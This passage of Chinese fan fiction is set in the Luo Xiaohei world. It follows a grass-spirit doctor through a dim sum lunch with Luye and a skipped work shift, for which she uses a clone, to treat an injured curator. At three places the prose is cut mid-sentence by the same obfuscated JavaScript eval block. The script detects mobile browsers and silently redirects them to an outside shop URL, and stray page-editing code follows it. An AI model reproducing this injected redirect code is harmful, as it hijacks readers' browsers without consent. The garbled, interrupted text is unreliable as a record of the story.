《[罗小黑·鹿野乙女]烂手回冬啊你这庸医!》 2. 吃你的饭 【粤东会馆】是诸多妖灵会馆里厨艺最强的会馆,来自五湖四海的厨师高手汇聚在此,不仅有本地特色菜系,还有天涯海角的各路派系美食齐聚一堂。 在这里,厨子们共同探讨厨艺大道的精深理论,一边考古传承古老菜谱,一边开创新品菜色……几乎每个食客吃了都会赞不绝口。 就算不喜欢这些菜,通常也不会说什么太恶毒的差评。 如果还是坚持给【粤东会馆】差评的食客,这种人一定是黑子,建议给套上麻袋打一顿再走。 当然了,【粤东会馆】的首席招牌菜绝对是粤菜,就连一些人类的粤菜大师都在这儿工作和研究菜品——毕竟以妖精的种种神奇能力可以帮这些普通人治疗疾病、提供优渥的工作条件、甚至还能见到粤菜界的一些古老人物。 这儿指的是那些活了几百年的妖精老厨子,随便抓一只出来,指不准就在当年跟某位人类厨子祖师爷有过什么名留青史的食戟之战…… 所以会馆提供的这些条件,对于这些真心热爱粤菜的人类大厨们而言实在是难以抵挡的诱惑。 于是,往来的妖精和人类员工真的是享口福了。 不过以上这些美妙事情跟我这个被各路牛鬼蛇神病人折磨得灵魂都飞走一半的倒霉医生暂时没什么关联。 我都不知道自己是怎么从传送阵里飘进【粤东会馆】,一路顺着鹿野提前发我的桌号摸过去,最后当重重地喝下一口凤凰单枞才算是回过神来。 “咦,我怎么在这儿?” 我东张西望,疑惑地环顾着周围人声鼎沸的大堂,往来食客不绝,说笑闲聊声充斥耳膜。 身手敏捷的服务员捧着传菜托盘,翻跃各种(食客带来的)障碍,坚持准时送餐,不知情的人也许还以为他们在玩什么趣味障碍赛。 到处跨栏的服务员:并非趣味。 坐在圆桌对面的白发女人很明显地笑了一声,我格外茫然地看向她那张熟悉的面孔,整整花费了三秒钟才想起她叫什么名字。 “你好,这位病人……” 万能的就诊起手式。 “想死就继续说。”鹿野收敛笑容,挑眉道。 她看起来脸上没有一丝笑容,脸上的冰霜刮下来都可以做一杯冰美式咖啡可能还绰绰有余。但以我对鹿野多年的了解来看,知道这姐们此时压根儿没有真正生气。 “嗨害嘿!” 我决定大人不记小人过,不跟这坏女人计较这些琐碎之事,于是拿起筷子吃了个热腾腾的、半透明的虾饺。 oi! 好吃! 柔韧的饺皮在齿间不舍地拉扯彼此,绽放流出的汁液里蕴含着内陷的鲜美,鲜虾仿佛下一秒要从嘴里跳跃蹦出,而脆爽的竹笋巧妙地化解了那一点点的腻味…… “——阿竹,你迟到了。” 鹿野打断了我的美食测评,用她那双冷淡到仿佛可以凝结冰霜的蓝眼睛定定地望着我,说出了一个不容置疑的事实。 说出这句话时,她左手纤长白皙的手指玩弄着面前喝光了茶水的小瓷杯,像是猫咪在有点焦躁地拍打尾巴。 “鹿野你真会开玩笑。”我坦然地咧开嘴,使用医者仁心特有的招牌微笑,“你见过哪个能准时下班的医生吗?” “……” 她陷入沉思,手指也停下来,兴许是觉得我说的有道理,也可能她也认识的几个医生里也确实没有谁能经常准时下班。 不过我还是给她稍微解释了一下迟到的缘由:“有两个病人恰好今天都挂了我的专家号,不巧他们是有多年恩怨的老对头。结果他们在走廊上打得肝脑涂地,物理意义的那种。所以为了抢救病人,到头来只能迟到了,真是不好意思啊。” 我最后半句的道歉其实不太走心,因为此刻我的心已经被眼前一桌子的菜给毫不留情地夺走了! 赶紧再吃块芋头蒸排骨压压惊。 鹿野略微蹙起眉头,盯着我哐哐吃排骨的架势,语气颇为冷淡地说道:“会馆里不可随意动武,这规矩他们不懂?” 我不太理解她为什么突然有点不高兴,但还是耐心解释道:“那两人都不是未成年幼崽,应该是懂的。” 于是鹿野当即冷哼一声:“知法犯法,罪加一等!” 看着这位朋友杀气腾腾的眉眼,好像等会要去把那两个已经被送去处罚的病人再打一顿。 ……希望是我错觉。她应该不会这样迁怒别人吧? “来来,别管那些无聊家伙了,来吃斋肠,吃白灼菜心。”我赶紧招呼她,试图转移对方的注意力。 鹿野看向被我“热情推荐”的菜品,然后又看向我在往自己碗里扒拉的凤爪、牛肉丸、金钱肚什么的,不禁产生了疑问:“你为什么只给我推荐你的‘同类’?” “因为我不忍心同类相食!只好勉强吃肉了!”我假装忍耐痛苦地回答,“虽然说虾饺里也有我的同类竹笋,但没有办法……” “装什么呢。”鹿野毫不留情地揭穿我,言辞就如同她惯常挥舞的金属利刃那样锋锐,嘴角却是略微勾起,“你一个草妖,跟竹笋有什么关系?” 是的,虽然我叫“竹茂”,但其实我跟竹子没什么关系。 相反我的本体是一颗小草。 对,就路边那种随处可见,绿油油的杂草,鞋子、大风、农药、割草机……任何东西都可以把我轻易送去西天极乐,但我和我的同类们确实无处不在。 从最古老的纪元持续到今日,一直盘桓在这颗星球上。 当然,我虽然比不上某个人类作者塘叁的“亲妈缠绕”那种杜撰出来的特殊草类技能,但我平时也是个生草的人。 很久以前,鹿野曾经问过我,为什么我是一棵草,偏偏要姓“竹”? 我说你是一只猫,不也叫鹿某吗。老实交代吧,你跟鹿有什么关系?你长鹿角吗朋友?我可不可以摸摸你的小鹿尾巴? 然后鹿某就黑着脸揍了我一顿。 “就这么喜欢鹿是吧!?” “嗯?”我对此一头雾水,不知道她为什么那么生气,明明一开始这个话题是她自己挑起来的。 还好我平日里皮糙肉厚,奶量惊人,躺平任揍。 最后鹿野累得自己停下来,叫我用能力生成了一张草沙发自个儿瘫上去,还理直气壮地叫我帮她治一下手……哎,真是个喜怒无常的怪人。 ——最后我也没有摸到鹿野的尾巴,不管是小鹿尾巴还是小猫尾巴:( 这已经是多年前刚认识那会儿的事情了,如今我面对关于“虾饺里的同类”这个问题,我已经可以微笑着一如既往地用“猫和鹿”的话题回应了鹿野。 ……因为她在玩梗。我听出来了。 经常跟朋友贩剑的人都知道,朋友之间一定会形成某些特定的梗,属于是彼此才能知晓的暗号。 什么?你没有这种体验? 那一定是你贩的剑还不够多。 虽然鹿野长年累月都是这幅面无表情的样子,对谁都没有多好的脸色,可是她如今已经学会了偶尔玩梗……呃,反正是跟我一起玩梗。至于会不会对其他人玩梗,我也不太清楚。 同样,这套特定的对话方式就是我们之间的梗。 我如愿地看到她终于露出了一丝笑容。 鹿野笑起来真好看。 我发自内心地欣赏着,看得都走神了,一时间甚至忘了偷走蒸笼里最后一块黑椒牛仔骨。 等我反应过来时已经来不及了,只能眼睁睁地看着她把那块牛仔骨给吃掉——还好这顿饭不是我请客,所以不算特别心疼。 她吃肉时会高兴吗?还是吃青菜时会高兴?我漫不经心地思考着这些有的没的问题。 但我知道她吃贵的东西时一定会心情不错。 要知道,鹿野以前去全世界各地的米其林餐厅探店时经常会叫我来拼单。 有时候我手头紧,不太想去,她就勉为其难地请我吃饭。 然后我就屁颠颠地去陪富婆姐姐到高级餐厅恰饭了。 其实我思来想去无法理解这背后的行为逻辑,觉得鹿野应该出门在外是怕有人给她下毒吧,有个医生朋友在旁边还能抢救一下,而且我也非常精通“海姆立克急救法”来催吐。 唉,不愧是我,体贴中带着几分高明的医术。 可惜,我这酷酷的朋友平日里并不总爱会笑。 难道是她平生不爱笑? 我不知道,也没怎么问过她,虽然爱笑之人的运气通常不会太差(比如我自己),但直觉告诉我她不希望被别人轻易触碰伤口。 但如果她哪天突然想详细分享这背后的故事,我也会认真倾听就是了。 ——这是身为医生和友人的双重职业操守!哼哼,我就是这么的优秀又迷人啊。 “阿竹,你又在走神什么?茶水都凉了。”她毫不客气地质问道,清亮冷冽的声线穿过嘈杂的人群直抵我的耳朵里,“—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17052236|194830||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟我吃饭就这么无聊?” “啊,不是的,跟你吃饭很有意思啊。而且我觉得鹿野你笑起来很可爱。”我回过神来连忙歉意地笑了笑,摆摆手随便找了个理由,“还有我在想下午的外出就诊事情。” 鹿野一时间有点怔愣,一定是被我忙碌的时间表给震撼了吧! 哈哈,鹿野,别以为全苍南会馆就你最忙! “你……”她的脸上出现了极为罕见的不太确信神情,身子微微前倾,刘海下的蓝眸死死盯着我,“你刚才说什么?” “感知组组长的耳朵突然聋了吗?”我亲切地慰问这位朋友的听力健康问题,我总是这样待人亲切,广受患者好评。 她危险的脸色看起来像是即将医闹的病人家属:“别打岔。重复一下。” 虽然不太理解,但我还是满足鹿野的种种无理要求,谁让我觉得她很可爱呢? 我对待暴躁无礼的病人都能保持平常心,对待朋友自然是更加温和友善。 所以我告诉她,今日下午我要去给【流石会馆】的馆长大松进行出诊。 因为某些事件,这位馆长失去了自己的左臂,再加上当时救治不及时,如今几乎不再有复生的可能性。 但他的弟子们对此不太甘心,于是私底下托熟人关系找了我,希望我帮忙去看看——事实上,他们也找了许多擅长治愈能力的妖精,但都没有得到一个确切的答复。 我对此也没什么信心,但大松馆长是我一直以来非常尊敬的前辈,虽然没有拜他为师,但同为草木系妖精,他在我刚加入会馆那些年里无私地帮过我不少忙。 所以如今我也打算亲眼看看有无让前辈的断臂进行重生血肉的可能性。 “谁问你这个了!?” 鹿野不耐烦地一拍桌子,震得所有碟子和碗筷猛地往上跳了下,周围几桌的食客们惊恐地停下交谈,纷纷扭头看向我们,不知道发生了什么事情。 我:? 我开始有点委屈了:“不、不是你自己问我下午干什么吗?” 鹿野皱了皱眉头,没有直接回答我,反而神色不善地看向周围那些围观群众:“看什么看!吃你们的饭去!” 吃瓜群众吓得缩回脑袋继续吃瓜,但怎么看都像是一个个竖起耳朵偷听动静。 噫,好凶。 但我依旧乐呵呵地看着她,鹿野真是个让人捉摸不透脾气的人啊。 “我说……”鹿野很认真很严肃地重新看向我,稍微压低了一下声线,“下午出诊前面的那句话?” “啊?” 我想了几秒钟,然后发现自己忘了几分钟前说了啥……我的记性不太好,很多时候跟个金鱼脑子差不多。 于是我诚恳地道歉:“对不起,我刚才说了什么?” 鹿野:“……” 下一秒钟,她开始无法抑制的怒视着我,眼睛里有某种我难以理解的复杂情感在燃烧,她的胸膛剧烈地起伏着,好像我刚刚说了什么羞辱她的言语一样。 我只能格外茫然地看着她。 抱歉,呃,我说……我刚才说,她耳朵聋了?不对,好像不是这句。那好像是米其林……也不对。到底说了啥来着,有没有人帮我翻一下前面的聊天记录? “竹茂。”鹿野忽然直呼我的全名,她站起身,看起来已经被气得吃不下饭了,“我总有一天会被你气死。” 她豁然转身离开,飞行员外套的衣角差点刮到我脸上,我看得出来,这回鹿野是真的生气了。 可是……为啥啊?! 我也没骂她啊??? 忽然,我想起一件很重要的事情,心中一动,连忙喊住她:“鹿野!我想起来了!” 她猛地停下脚步,回头看向我,一双蓝眼明亮得异常。周围几桌的吃瓜群众们也不装了,一起朝我扭头看过来。 我满心欢喜地说:“你记得结账啊!说好这顿你请来着……啊!” 我被一本飞过来的账单打了。是鹿野干的。 可恶。 也许是被暂时打通了脑回路,我终于想起刚才我无意间对她说了什么。 【“跟你吃饭很有意思啊。而且我觉得鹿野你笑起来很可爱。”】 ……难道是因为这个?难道她很讨厌别人说她“可爱”?要夸“威猛勇武”之类的词才高兴?也不至于吧。 但是谁能给我结一下医药费。 我要开始对这个冷酷无情的世界感到绝望了。 3. 上班摸鱼 下午14:55,提前设好的闹钟响起,惯例在会馆里出诊的我看了看手机,意识到这个闹铃在提醒着我时间差不多咯。 我随手摁掉它,看向面前这位脸色异常潮红的人类幼崽患者和他的家长,露出了一个宽慰意味十足的笑容:“李先生你放心吧,宝宝只是有点感冒了,我给他一拳……哦,稍微摸摸头,治疗一下就好了。” 说罢,我看向那个坐在父亲腿上、瞪大眼睛的孩童,鼓励地说:“小朋友,你明天就可以正常的去学校上学、写作业和考试咯,开不开心呀?” 现在还在高烧状态下的小孩儿傻乎乎地看了我几秒,“哇!”地一声哭起来,哭得直打嗝,他爸手忙脚乱地哄孩子。 奇怪,为什么会哭啊? 哦,我知道了,这孩子一定是因为能早日与老师和同学们团聚而喜悦到嚎啕大哭吧。 何等感人。 在用一分钟给这位人类员工的孩童治疗好感冒发热、理顺气息、助力其早日返校后,我脱下白大褂挂在门边的衣架上,然后揣着手机在李先生的千恩万谢中走出诊室。 我主动告知前台的护士小助手:“锦兰,暂停接诊几分钟,我上个洗手间。” 锦兰从善如流地点点头:“没问题,竹医生。” 说话间她也在面前的电脑上稍微操作了一下。 我去上厕所了。 其实如果我愿意,我根本不需要上厕所,我可以自身进行光合作用来生存许久,也不存在什么排泄的需要。 但我需要一个暂时没人会偷窥的地方。厕所里刻画着静音、自动清洁等符文,对每位客人都非常友善。 ——毕竟这是在上班时间抽空开溜嘛。 难免心虚。嘿嘿。 正常来说,【流石会馆】距离我所在的【苍南会馆】足有数千公里的距离,想要瞬息到达,便只能仰赖传送阵。 可这样就会留下传送记录。 而我作为【苍南会馆】的坐诊医生之一,每周出诊两天的专家号,还有两天外出到世界各地进行免费义诊或者学习最新的医学知识,以及三天的休息时间。 今日是我的出诊日,按道理而言,我是要全天出诊、服务广大妖精群众和极少数人类员工的。 也就是说,工作时间内,我不应该出现在工作地点(【苍南会馆】)以外的任何地方。 但偏偏这个时候被大松馆长的弟子清泉和明月那俩后辈央求过去帮忙看看……况且我昨日刚过完休息阶段,如果今天不去,就要再推后几天才能去【流石会馆】。 而且外出看诊这种事,也要看患者大松本人的意愿和时间。 虽然我没打算收小伙伴们的医疗费,可是这样在上班时间接免费私活,实在是……有点不好意思。 反正顶多也就出门个把钟头,【流石会馆】那边搞定就回来,能治好就一下子搞定,不能治的话待久了也没屁用,所以估计也没几个人会发现我上班期间中途摸鱼。 ——鹿野中午搁那儿莫名其妙的发癫,但不至于因此去举报我上班摸鱼。 所以我打算用自己的方法去流石会馆。 倘若回头被管理绩效的医疗组组长发现了,说不定要写检讨书,还要被扣绩效,很烦。 我最讨厌文字类的工作,从小写字就歪歪扭扭的,以前我还会找几个文采斐然的朋友帮忙代写,结果没几次后他们全被鹿野挨个找上门警告,说不许帮我代写检讨书。 再发现类似情况的话,她就揍人了。 被吓到的朋友们纷纷向我哭诉,说“阿竹你管管鹿野吧!”“她超霸道的!”“这样下去我们真的会被打啊”…… 我为此的确气得跑去跟她吵了一架,怒斥鹿野怎么能威胁我的朋友们,你真是太过分了! 但当时她听完我的一通咆哮怒火后,不仅毫不动怒,反而淡然道:“你为什么不来问我?” “啊?” “我也可以帮你写这种东西。” 然而我愣了一会儿就反应过来:“我不信!你自己的任务报告书都踢给下属和徒弟来写!你怎么会帮我收拾残局?” 鹿野前些年运气很好地遇到了一个能力相同、属性相同的小妖精,外加看得顺眼,索性收了这只小凖当徒弟。 泽宇那倒霉孩子小时候还挺可爱的,见到我还会乖巧的鞠躬喊前辈,就是后来越长越老成,帮师父写的任务报告书也越来越多、越来越正规和熟练……啧啧,社畜小鸟。 “我的确是不太喜欢搞这些收尾工作……但那也要看帮谁。”当时鹿野说话时态度不明地拉长了音调,好像想要暗示什么。 难道是暗示我请她吃饭? 不可能的,没有骂她独断专行地干扰我的交友情况已经是我这人脾气很宽容友善的结果了。 反正她的话也放出来了,自那以后,但凡除了写病历以外的文字工作,我就理直气壮地找鹿野代笔。 然后这人也会骂我是个几十年没长进的大丈育,同时骂骂咧咧地帮我写。 ——但因为上班摸鱼而写检讨书这种奇葩事情终归是麻烦朋友,所以我觉得这种小事就没必要给她添麻烦了。 快去快回就完事儿了! 进入厕所隔间,反锁,确认周围没有什么针孔摄像头或者偷窥符箓之类的违禁产品,我缓缓地吐出了一口气,手臂上的皮肤和血肉开始扭曲、分裂起来,最终化作根根翠绿的草藤落在地板上,凝聚出依稀的人形。 这种将自己一分为二的感觉很奇妙,就好像世界上突然多出了一个跟自己一模一样的存在,偏偏我们都清楚,只要融合在一起才是完整的“竹茂”。 “oi!你是谁?怎么不穿衣服?”我假装惊讶地对面前这个正在飞速生长成人形的草人说道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17052237|194830||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我服了,我没衣服穿是谁的锅啊?”草人以一种我非常熟悉的嗓音抱怨着,同时覆盖在体表上的根根绿草开始编织、变色和变形,化作了与我如今穿的淡绿色史努比休闲短袖和黑色大裤衩子一模一样的外观。 哦,这夏季裤衩是在迪卡侬买的男装款,超便宜。 当最后一根草藤化作了黑色运动鞋的外表,我的面前赫然出现了另一个“我”。 我看着她那双墨绿偏黑的温润眼睛,以及那头从黑到绿的渐变色短发,情不自禁地露出了淳朴的笑容:“能有一件白大褂留给你就偷着乐吧,分身。” 留下来充当花瓶医生的分身痛苦地捂住那张跟我如出一辙的脸:“我一想到自己变态到要在不同患者面前真空一个下午,几乎裸奔,只有一件白大褂勉强遮体,我就头皮发麻。” 我连忙安慰这位“自己”:“别这么说,抛弃人类特有的羞耻观念吧!不穿衣服怎么了?咱们草木系妖怪天生地养,沐浴日月之精华……” “可是其他妖怪有羞耻观,以及大家都穿衣服啊。”分身幽幽地打断我。 我沉默了几秒,转而劝解:“反正就一两个小时,你只要坐在办公桌后面写病历就行了,谁靠近你仔细看你就揍谁!而且咱们的光学模拟超厉害的,就算是鹿野也没发现过我们偶尔玩的这套把戏呀。” “你确定她真的没发现吗……还是装作不知啊?”分身迟疑道。 分身就是我,所以我们的思想和理念完全一样,所以这个疑问同样存在于我内心深处。 但我表面上还是嘴硬:“大人的事情你少管!该去上班了!” “混蛋本体!你为什么不多带一套备用衣物给我准备呢!”分身同样跟我吵架起来。 我:“……” 我:“我今早出门时忘了。” 这就是残酷的真相。 “有时候我真想把你的头摁进马桶里畅饮一番啊,本体。”分身恶狠狠地恐吓我,然后推门而出。 ——不过这种威胁毫无用处,毕竟人不可能真的威胁到自己。 另外一提,我现在身上穿的衣物和鞋子都是真实的。 我的本体并未裸奔!这就够了! 很快,我就听见外头的广播开始呼叫“下一位患者……”之类的声音了。 厕所里一片让人安心的宁静。 因为在【苍南会馆】里出诊挺安全的,不需要太多武力值来作为保障,我只要留下一个面子工程的花瓶“自己”负责替病人看病就行。 我的本体则是会前往【流石会馆】给大松馆长出诊。 这套一分为二、草木皆兵的戏法我玩得不多,偶尔接私活时会用用,但还算熟练。 恰好此时一条短信跳入手机,来自【流石会馆】那边。 【竹茂前辈,我们这边准备好了。】 好!该润了! 4. 这是哪集 我不使用传送阵却能瞬息间抵达几千公里外的方法很简单,只需要提前两天把自己生成的草人种子用顺疯快递寄过去。 走冷链运输,最大程度保持草种活性,使用货到.付款服务。 由【流石会馆】里那两位请我出诊的弟子私底下垫付运费。 虽然我很客气地说不用不用我来出运费就好,但清泉和明月坚持说要的要的阿竹前辈你都没收诊费了,咱们不能再让你破费……大家互相推辞客套一番,都觉得心满意足。 如今他们在【流石会馆】那边把种子种下去,浇水,不用一分钟就能长个草人出来。当有了这具与我同源的全新草木躯体,鄙人就能在千里之外直接上线,完成“瞬移”。 就连衣物都能利用能力一起裹挟过去。 怎样,厉害吧? 至于怎么回来这个问题……哎呀,分身不还忙着裸奔出诊吗,到时候她再假装上个厕所,我直接“跳”回她体内就完成融合了。 属实是环保又方便。 当我重新睁开眼,看见的不再是厕所隔间门上刻画的清洁符文阵法,而是与苍南地区所截然不同的北地森林风貌。 连绵起伏的群山与傲然挺立的寒带植物群赫然出现在我面前,寒冷的空气涌入鼻腔,带着令人精神一震的清爽与大自然的种种味道。 我面前那两个分别拄着铁铲和水壶的年轻妖精面露微笑,向我问好:“竹茂大人,您回来了。” “哎呀,是朝雨和路回,好久不见呀!我确实有好几年没回快乐老家了。” 我一边伸着懒腰,略显贪婪地呼吸这熟悉又陌生的土地气息,一边向这两位后辈打招呼:“你们最近怎么样?” “还是老样子。” 路回是个容貌秀气的小伙子,他的本体是一只类似于白鹭的妖精,飞翔起来的姿态非常好看。 他笑着扛起沾有一点泥土渣的铁锹:“这深山里,睁眼就是鸟叫声,闭眼就是风雪,连网络信号都不太好,经常爬到屋顶才有一点4G信号……这山里的日子还能有什么新奇的。” “没办法,为了守护‘若木’,也只能选择远离人烟了。” 我对此深以为然,因为这所会馆最早的那一批信号基站还是我跟几个精通此道的妖精在修改信号源和机器后,一起扛进来建立的。 当时终于可以开始网上冲浪的老乡们纷纷感叹“天翼3G实在是太快辣!”之类的夸赞。 如今想来,那些信号基站大概也是过时了。 “对了,馆长他老人家最近如何?”我问出了此行最关心的问题。 身为花妖的朝雨是个文静姑娘,她穿着长裙,双手提着水壶,斯斯文文地陪我一起走向这藏在巍峨群山之中的古老会馆。 好些年没回来,【流石会馆】增加了好几栋新建筑,又修改了不少的建筑位置排列,没人带着走的话还真有可能迷路。 “大松馆长近日来忙着清修,前几日才出关,可惜听说伤势依旧没有太大好转……”朝雨以一种不急不缓的语调说着,忽然我抬手制止她,她当即闭嘴并且好奇地看向我。 “嗯?” 我隐约察觉到空气中什么不太对劲的地方,顿时疑惑地东张西望了一会儿,随口询问这两人,“捧油们,咱们会馆最近在搞什么大型聚集活动吗?” 大部分想要藏匿踪迹的妖灵会馆都覆盖有大型隐匿功能和驱散无关普通人用途的结界,所以一般没有专业人士带路的话,普通人是很难从外界直接找进来的。 但是……现在这个人迹罕至的山区现在是不是人数有点多啊? 空气中的二氧化碳都要增加了! 我不太确定自己这种古怪的直觉是否正确,过去判断失误的例子也不是没有。 下意识地用运动鞋鞋底摩挲着地面的泥土,我将自己的能力尽可能地拓展开去联系那些已经变得有些生疏的附近草木植物。 几年没回来,周遭草木盛衰都轮回了几趟,这片覆盖寒霜的土地与我的联系已经不再像往日那样熟稔和稳固。 但很快,附近诸多植被反馈回来的消息差不多都是“一切正常”“妥妥的放心吧”。 两个年轻妖精对视一眼,面面相觑:“没呢,啥活动啊。” “是的,无聊得要死。” ……嘶,看来是我水土不服了? 我挠挠头,想着有大松馆长在,天塌下来高个子顶着,于是没再将这事儿再放在心上。 此刻我的心里更为急切地想要去见到那些熟悉的亲友。 路回和朝雨将我带到主会馆大门口后便主动告辞,约好等会再来送别我回去,而此时门口已有馆长的弟子之一清泉前来接待引导我。 她个头不高,怀里抱着连鞘的长剑,眼睛一眨不眨地盯着我。其实我跟她不太熟,因为她是在我离开流石会馆以后,大松馆长新收的弟子。 不过这几天也有加上微信闲聊,所以算得上一声网友。 “清泉,这次的运费贵不贵啊?”我小声地问,生怕后辈掏了太多钱给快递公司。 “不贵不贵。”清泉赶紧说,“最近城市的快递网点里有自己人,给了员工内部价。” 哟,太会持家过日子了,我喜欢。我对这妹妹竖起大拇指,她那故作严肃的精致面庞顿时流露出一丝笑意。 我发现大松馆长的弟子们看起来一个个都很莫名严肃,我怀疑他们全都在无意识地模仿自家师父的气质和微表情。 ——还好我没有拜进大松的门下,不然我很快也要跟自己脸上的微笑说再见了。 那种“竹茂平生不爱笑也不摸鱼”的IF线想想就好可怕! 没过多久,我就见到了坐在露天高台上清修,正在感知自然灵力的大松馆长。 这个额前发丝雪白,模样硬朗的八尺络腮胡壮汉在风雪天里仅身穿一件深色单衣,袒胸露乳,赤足盘坐于蒲团上,模样雄壮豪迈,确实如苍劲的古松一般引人注目。 唯独那空荡荡的左臂衣袖在身侧自然垂落摆动着,显得不太和谐。 我也顺利地见到了馆长的另外一位弟子明月,正是他们私底下用零花钱付运费请我过来的。 如今清泉和明月两人分别站在师父大松的身后静立侍候,见到我之后看似表面波澜不惊的,实则偷偷朝我挤眉弄眼。 那小眼神我看懂了,因为我这趟临时出门是接私活,还免费,所以两位小老乡的意思是回头请我吃饭聊表谢意。 这个可以有,我喜欢吃饭,我平生最喜欢摄入营养和晒太阳。 我一天吃十顿饭都不会胖! “大松先生。”我朝他深深鞠了一躬,语气难得认真的恭敬,“好久不见,冒昧打扰您的清修了。” “阿竹?你这孩子怎么有空回来……哦,你又翘班了是不是!” 大松馆长惊讶于我的突然异地刷新上线,他立刻明白是怎么回事,当下的语气冷硬,带着几分恨铁不成钢的责备意味。 早年我还是一只随处可见的小妖精时,摸鱼技巧尚且不熟练,总是被这位馆长逮个正着。他对此总是很看不惯,老是苦口婆心地教育我认真工作的重要性,却也没怎么真正惩罚过我。 结果没想到现在成年了,我这人死性不改,还是一如既往地大摸特摸。这种败坏风气的做法一度导致我周围朋友都一起学着摸鱼,聚众争当工资小偷。 没办法,摸鱼是“社畜特色”,不得不品尝。 我假装没听出来这指责,故作腼腆地摆摆手:“也没耽误本职工作啦!大松先生你放心!” 大松无奈地盯着我好几秒,倏然间扭头瞪着那两个摆出一副“今天这事儿跟我没关系”姿态的好徒弟,以一种略微不满的语气说道:“都说了我的手臂不可能复生,已经有那么多名医和强者前来看过。你们两个,也不要总是白费力气的去打扰工作繁忙的前辈!要知道阿竹一天出诊至少要看两百个病人!” “没那么多,一百个左右吧。”我连忙贴心的提供最新数据。 “……” 不知为啥,大松先生看了我一眼,像是在关爱傻子。 奇怪,难道我背后站着其他人? 大松:“好吧,她一天要看至少一百个病人,而你们还拿我的这点小事情来打扰她!” 然而带我进来的清泉不太服气:“可是师父,我一跟阿竹前辈说了你的事,她就立刻答应了……你就让她帮忙看看吧。阿竹前辈也很关心你呢。” 可爱的女徒弟一旦撒娇起来,对于大松这样的冷傲直男师父实在是非常大的杀伤力,他索性黑着脸不说话了。 其实清泉已经在来时路上向我大致阐述了她师父的伤势和成因,以及前后有好些杏林名手都来拜访过但无果的事情。 “对啊,反正来都来了。”我也连忙点头,表示自己真的很关爱老前辈,“现在掉头就走才是真正浪费钱呢。” 大松馆长:“……” 大松馆长板着脸吐槽起来:“我难道是什么必须打卡的旅游景点吗?” 我们几个妖精都忍不住笑出声来。 大松则是摇着头,脸上说不出是欣慰还是无奈:“阿竹你这孩子从小就有自己的想法,有时候甚至可以说完全不顾世俗观念……如果 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17052238|194830||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我现在不肯给你看,你一定会在我泡澡时偷看我的伤口吧?” “诶,大松先生,士别三日当刮目相待呀,现在我已经学会克制的医疗技巧了,应该会给您先狠狠地下蒙汗药后再看伤口。” 我理直气壮的解释,觉得自己绝对没有那么变态,并且选择性地遗忘了某个分身现在正在进行的裸奔出诊和光学模拟把戏。 是的,爬进男士浴室就为了偷看病人伤势这件事我确实干过,不过那是年少无知的幼崽时期。 如今我可不一样了。 ——我已经长大了!(得意.jpg) 什么?你说女士浴室的患者我偷看过没有? 你是不是傻了,女浴室我直接走进去大大方方地用眼睛看就行了啊,根本不用偷窥。 为此我还被鹿野臭骂过,她说我眼睛不老实,到处乱飘,万一哪天被人吊起来打的话千万别喊她来帮忙,嫌丢人。 我说那不行,咱俩什么关系啊? 属于是回南天太潮湿没衣服穿时,我就大半夜爬到你家偷你睡衣穿的关系!虽说事后被受到惊吓的你差点第一时间用随身金属把我勒死……但总之就是铁得很! ——很铁(指脖子上的金属线),但别管这个铁是怎么来的。 所以如果我被人打了,必须拖鹿野你蹚这趟浑水。更何况我这是医者仁心、大医精诚、妙手回春的表现,到处看纯粹是为了寻找幸运的患者尝试进行抢救。 万一能刷新出什么野生的感谢锦旗呢?那岂不是能赚一点见义勇为的会馆奖金? 讨论这个话题时,我们正泡在热乎乎的温泉里坦诚相对,闲聊瞎扯,喝酒看剧。 远处的日出阳光照在雪山峰顶上,璀璨漂亮得就像是鹿野那倒映出袅袅水光的眼睛。 现在想想真开心,趁着最近北半球天气冷,下个休息日再约她出门泡温泉吧。 思绪收敛,专注一点。我提醒自己。当前还是给大松先生治病要紧。 其实我很困惑,不明白自己这些年为何总是会在各种乱七八糟的场合与时间里想起她。 看到穿过林间叶片的可爱阳光会想起鹿野垂落的发尾辫,看到湛蓝的海洋想起她的眼睛,看到日照金山的群峰想起她挺拔的背脊,看到久违的大松先生和【流石会馆】老乡们还是想起她整个人。 很多朋友都认为我可能是年纪大了,精力不振,爱走神,是时候吃静心太太口服液来度过这个特殊时期了——我说你们都是神经病,我都一百三十多岁了还能是更年期? 然后这群垃圾损友认为我差不多可以给自己准备后事了。 真的服了。 话说回来,想起中午在【粤东会馆】吃饭时那顿莫名其妙的吵架,虽然我嘴上总说没关系没关系,鄙人平生最大的优点就是脾气好(?),对病人好也对朋友们好。更何况以前我和鹿野也是成天打打闹闹鸡飞狗跳的,也就近些年大家都稳重一点才消停了些。 但不知为什么,自中午分别以后,阵阵生涩古怪的钝痛依旧盘踞在心中。 